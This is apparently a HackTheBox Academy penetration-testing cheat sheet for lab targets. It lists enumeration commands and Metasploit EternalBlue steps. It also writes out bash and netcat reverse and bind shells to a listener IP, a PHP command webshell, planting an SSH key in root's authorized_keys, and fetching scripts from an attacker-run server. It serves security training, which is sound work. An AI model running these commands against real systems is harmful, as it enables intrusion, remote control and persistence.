HACKTHEBOX

GETTING STARTED

CHEAT SHEET

Basic Tools

General

Connect to VPN: `sudo openvpn user.ovpn`

Show our IP address: `ifconfig/ip a`

Show networks accessible via the VPN: `netstat -rn`

SSH to a remote server: `ssh user@10.10.10.10`

FTP to a remote server: `ftp 10.129.42.253`

tmux

Start tmux: `tmux`

tmux: default prefix: `ctrl+b`

tmux: new window: `prefix c`

tmux: switch to window (1): `prefix 1`

HTB ACADEMY CHEATSHEET

GETTING STARTED

CHEAT SHEET

tmux: split pane vertically: `prefix shift+%`

tmux: split pane horizontally: `prefix shift+"`

tmux: switch to the right pane: `prefix →`

Vim

vim: open file with vim: `vim file`

vim: enter insert mode: `esc+i`

vim: back to normal mode: `esc`

vim: Cut character: `x`

vim: Cut word: `dw`

vim: Cut full line: `dd`

vim: Copy word: `yw`

vim: Copy full line: `yy`

vim: Paste: `p`

vim: Go to line number 1: `:1`

vim: Write the file 'i.e. save': `:w`

GETTING STARTED

CHEAT SHEET

vim: Quit: `:q`

vim: Quit without saving: `:q!`

vim: Write and quit: `:wq`

Pentesting

Service Scanning

Run nmap on an IP: `nmap 10.129.42.253`

Run an nmap script scan on an IP:

```
nmap -sV -sC -p- 10.129.42.253
```

List various available nmap scripts:

```
locate scripts/citrix
```

Run an nmap script on an IP:

```
nmap --script smb-os-discovery.nse -p445
10.10.10.40
```

Grab banner of an open port: `netcat 10.10.10.10 22`

List SMB Shares:

```
smbclient -N -L \\\\10.129.42.253
```

HACKTHEBOX

GETTING STARTED

CHEAT SHEET

Connect to an SMB share:

```
smbclient \\\\10.129.42.253\\users
```

Scan SNMP on an IP:

```
snmpwalk -v 2c -c public 10.129.42.253
1.3.6.1.2.1.1.5.0
```

Brute force SNMP secret string:

```
onesixtyone -c dict.txt 10.129.42.254
```

Web Enumeration

Run a directory scan on a website:

```
gobuster dir -u http://10.10.10.121/ -w
/usr/share/dirb/wordlists/common.txt
```

Run a sub-domain scan on a website:

```
gobuster dns -d inlanefreight.com -w /usr
/share/SecLists/Discovery/DNS/namelist.txt
```

Grab website banner:

```
curl -IL https://www.inlanefreight.com
```

List details about the webserver/certificates:

```
whatweb 10.10.10.121
```

HTB ACADEMY CHEATSHEET

GETTING STARTED

CHEAT SHEET

List potential directories in robots.txt:

```
curl 10.10.10.121/robots.txt
```

View page source (in Firefox): `ctrl+U`

Public Exploits

Search for public exploits for a web application:

```
searchsploit openssh 7.2
```

MSF: Start the Metasploit Framework: `msfconsole`

MSF: Search for public exploits in MSF:

```
search exploit eternalblue
```

MSF: Start using an MSF module:

```
use exploit/windows/smb/ms17_010_psexec
```

MSF: Show required options for an MSF module:

```
show options
```

MSF: Set a value for an MSF module option:

```
set RHOSTS 10.10.10.40
```

MSF: Test if the target server is vulnerable: `check`

MSF: Run the exploit on the target server is vulnerable:

```
exploit
```

HACKTHEBOX

GETTING STARTED

CHEAT SHEET

Using Shells

Start a nc listener on a local port:

```
nc -lvnp 1234
```

Send a reverse shell from the remote server:

```
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
```

Another command to send a reverse shell from the remote server:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
```

Start a bind shell on the remote server:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

Connect to a bind shell started on the remote server:

```
nc 10.10.10.1 1234
```

Upgrade shell TTY (1):

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Upgrade shell TTY (2):

```
ctrl+z then stty raw -echo then fg then enter twice
```

GETTING STARTED

CHEAT SHEET

Create a webshell php file:

```
echo "<?php system(\$_GET['cmd']);?>" >
/var/www/html/shell.php
```

Execute a command on an uploaded webshell:

```
curl http://SERVER_IP:PORT/shell.php?cmd=id
```

Privilege Escalation

Run linpeas script to enumerate remote server:

```
./linpeas.sh
```

List available sudo privileges: `sudo -l`

Run a command with sudo:

```
sudo -u user /bin/echo Hello World!
```

Switch to root user (if we have access to sudo su): `sudo su -`

Switch to a user (if we have access to sudo su):

```
sudo su user -
```

Create a new SSH key: `ssh-keygen -f key`

Add the generated public key to the user:

```
echo "ssh-rsa AAAAB...SNIP...M= user@parrot"
>> /root/.ssh/authorized_keys
```

HACKTHEBOX

GETTING STARTED

CHEAT SHEET

SSH to the server with the generated private key:

```
ssh root@10.10.10.10 -i key
```

Transferring Files

Start a local webserver: `python3 -m http.server 8000`

Download a file on the remote server from our local machine:

```
wget http://10.10.14.1:8000/linpeas.sh
```

Download a file on the remote server from our local machine:

```
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
```

Transfer a file to the remote server with scp (requires SSH access):

```
scp linenum.sh user@remotehost:/tmp/linenum.sh
```

Convert a file to base64: `base64 shell -w 0`

Convert a file from base64 back to its orig:

```
echo f0VMR...SNIO...InmDwU | base64 -d > shell
```

Check the file's md5sum to ensure it converted correctly:

```
md5sum shell
```